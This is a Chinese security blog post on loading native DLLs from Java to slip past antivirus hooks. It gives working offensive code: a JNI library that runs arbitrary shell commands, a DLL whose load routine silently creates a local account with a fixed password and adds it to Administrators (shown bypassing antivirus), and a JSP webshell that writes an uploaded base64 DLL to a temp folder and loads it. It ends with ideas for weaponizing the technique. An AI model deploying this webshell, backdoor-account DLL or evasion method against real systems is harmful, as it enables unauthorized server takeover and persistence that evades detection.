0%

初探java加载动态链接库

6193d09c503d8e057afa1636_Java code review checklist-min-p-1600

前言

前两天学习了DLL,又看到了文章,利用java加载动态链接库绕过杀软:通过动态链接库绕过反病毒软件Hook - Break JVM

后部分的内容有点深入,所以浅显的学习一下整体思路。环境:jdk1.8_181、win11、vs2022、win10

java加载动态链接库

个人理解,java.exe加载动态链接库有什么用?

感觉有点类似白加黑,直接在DLL里调用win-api去执行一些敏感操作,比如添加用户,shellcode执行,可以避免一些cmd的执行,因为现在webshell都是利用cmd.exe去执行。

java加载动态链接库常见有三种方法

  • System.load / System.loadLibrary
  • Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary
  • com.sun.glass.utils.NativeLibLoader.loadLibrary

前两个的load与loadLibrary有一些区别

  • load接收的是绝对路径
  • loadLibrary接收的是相对路径,不能含有 \,可通过目录穿越到达 jdk安装所在盘或用户环境变量所在盘下的任意路径,进行加载动态库,调用时不需要动态库的后缀,会自动加上。linux系统应该可以达到任意目录,windows下应该就不行了

loadDll.java

public class loadDll {
public static void main(String[] args) throws Exception {
String path1 = "C:\\Users\\cys\\Desktop\\Dll3.dll";
String path2 = "../../../../../Dll3"; // "../../../../../users/admin/desktop/Dll3";
RuntimeLoad(path);
//NativeLoad(path2);
}
static void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
//Runtime.getRuntime().loadLibrary(path);
}

static void SystemLoad(String path){
System.load(path);
//System.loadLibrary(path);
}

static void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
Object c = Native.newInstance();
if(Native != null){
java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.setAccessible(true);
Load.invoke(c,path);
}
}
}

计算器dll

image-20220827192556937

流程分析

Runtime.getRuntime().load

调用了 Runtime.getRuntime().load0 方法,在这其中会判断路径是否为 绝对路径 然后调用 ClassLoader#loadLibrary

image-20220827193435766

判断系统变量路径是否为空,为空就进行初始化。如果传入路径为 绝对路径 则调用 ClassLoader#loadLibrary0

image-20220827194014259

loadLibrary0 中判断ClassLoader是否加载过该链接库

image-20220827212303815

然后实例化 NativeLibrary 对象,添加到 nativeLibraryContext 中,然后调用 load 方法去加载动态链接库

image-20220827212859147

load为native方法

image-20220827213236449

System.load

直接调用 Runtime.getRuntime().load0 流程同上

image-20220827213836360

Runtime.getRuntime().loadLibrary

调用 Runtime.getRuntime().loadLibrary0 判断 传入的path不能含有 \

image-20220827223333156

直接 ClassLoader.loadLibrary,这里传入false,代表不是绝对路径, findLibrary 去寻找动态库的文件名

image-20220827225620127

如果没找到,从 jdk安装路径与用户环境变量路径下去寻找库, System.mapLibraryName 会根据平台自动加上后缀,windows自动在末尾添加 .dll,接着调用 ClassLoader#loadLibrary0

image-20220827230322803

findBuiltinLib 检查是否是内置的动态链接库,Hotspot JNI库文件加载源码解析CSDN博客

image-20220827232241822

最后加载

image-20220827231911788

System.loadLibrary

直接调用 Runtime.getRuntime().loadLibrary0 流程同上

image-20220827232454903

NativeLibLoader.loadLibrary

提一嘴为什么反射调用

com.sun.glass.utils.NativeLibLoader反射调用是因为在 jdk\javafx-src.zip!\com\sun\glass\utils\NativeLibLoader.java,在不同的版本的jdk中javafx并不是都存在的。

loadLibraryInternal ->loadLibraryFullPath

image-20220828000908313

loadLibraryFullPath 绝对路径会加载成功

image-20220828001637907

loadLibraryFullPath 失败后,遍历环境变量去调用,这里用相对路径,总有一款适合你!

image-20220828001805150

dll编写

vs编写

直接vs进行编写,见 初探DLL劫持 | Y0ng的博客

但是有一个意外情况,在新的win10虚拟机中,单单调用一个calc的dll竟然失败了,尝试了下发现是,我写的dll需要其他依赖库的支持,但是win10虚拟机中并没有这个库,导致无法加载恶意的dll。解决方法就是vs把其他库一起打包喽,运行库选择 /MT

image-20220830172612983

虽然产生的dll很大,不过也算成功执行了。

image-20220830173055178

JNI 技术

慢慢了解到 JNI 技术,

  • 定义一个native修饰的方法

  • 使用javah进行编译

  • 编写对应的c语言代码

  • 使用gcc编译成dll文件

  • 编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用

loadDll.java,定义native方法

public class loadDll {
public static void main(String[] args) throws Exception {
String dllpath = "D:\\java-sec\\Dll\\src\\cmd.dll";
System.load(dllpath);

String cmd = exec("calc");
System.out.println(cmd);
}
public static native String exec(String cmd);
}

生成.h文件

javah -cp . loadDll

生成的头文件,loadDll.h

#include <jni.h>

#ifndef _Included_loadDll
#define _Included_loadDll
#ifdef __cplusplus
extern "C" {
#endif

JNIEXPORT jstring JNICALL Java_loadDll_exec
(JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

编写命令执行的c文件,Command.c

#include "loadDll.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败

while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
_pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_loadDll_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}

char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();

return cmdresult;
}

编译为dll

gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll Command.c

加载dll,成功。

image-20220830171029376

利用

这方面利用感觉比较多了,添加用户,命令执行,内网穿透,开启远程登录等等。

在有360情况下添加用户

image-20220830204414971

dll中加上微软示例的添加用户代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <Tchar.h>
#pragma comment(lib,"netapi32.lib")

DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;

USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;

DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];

DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];

//
// Create user
// http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx
//

memset(&ud, 0, sizeof(ud));

ud.usri1_name = (LPWSTR)TEXT("audit"); // username
ud.usri1_password = (LPWSTR)TEXT("Test123456789!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;

rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);

if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}

//
// Get user SID
// http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx
//

b = LookupAccountName(
NULL, // local server
_T("audit"), // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);

if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}

//
// Add user to "Administrators" local group
// http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx
//

memset(&gd, 0, sizeof(gd));

gd.lgrmi0_sid = (PSID)Sid;

rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);

if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}

return 0;
}


BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

需要一个管理员身份才有权限添加用户。成功绕过杀软添加用户。

image-20220831152710826

师傅的项目里还有RDP以及dump内存等代码

jsp

直接搬来大佬的jsp,通过base64解密后写入随机命名的dll,然后进行load。可拓展为反序列化,JNDI注入等等。

<%@ page import="java.io.RandomAccessFile" %>
<%!
// 获取随机的动态链接库文件名称
private String getFileName(){
String fileName = "";
java.util.Random random = new java.util.Random(System.currentTimeMillis());
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
}else {
fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
}
return fileName;
}
// JSP 声明函数中无法获取全局默认的ServletRequest对象,但ServletRequest继承java.io.InputStream,可以替代
public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName());
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(stream));
fos.close();
return file.getAbsolutePath();
}

private void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
}

private void SystemLoad(String path){
System.load(path);
}
// 有些JDK版本没有这个对象,因此采用反射加载进行运行
private void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
if(Native != null){
java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.invoke(path);
}
}
//</jsp:declaration>
%>

<%
out.print("OK");
//加载方式
String method = request.getHeader("WWW-Authenticate");

try{
ServletInputStream stream = request.getInputStream();
if (stream.available() == 0){
out.println(System.getProperty("os.arch"));
return;
}
String file = UploadBase64DLL(stream);
// 按照Header头选择加载方式
switch (method){
case "1":
RuntimeLoad(file);
break;
case "2":
SystemLoad(file);
break;
case "3":
NativeLoad(file);
break;
default:
RuntimeLoad(file);
break;
}
}catch (Exception e){
System.out.println(e.toString());
}
%>

成功写入

image-20220825171954049

武器化思考

浅显的思考可利用的地方

  • 编写多功能DLL,按需执行其中的特定功能
  • dll与spring有没有一些利用
  • 能否实现无文件落地加载dll

Rvn0xsy项目代码:Rvn0xsy/j2osWin (github.com)

参考

Java安全之JNI绕过RASP - nice_0e3 - 博客园 (cnblogs.com)

JNI 安全基础 · 攻击Java Web应用(javasec.org)

通过动态链接库绕过反病毒软件Hook - Break JVM

Java加载动态链接库 - 跳跳糖 (tttang.com)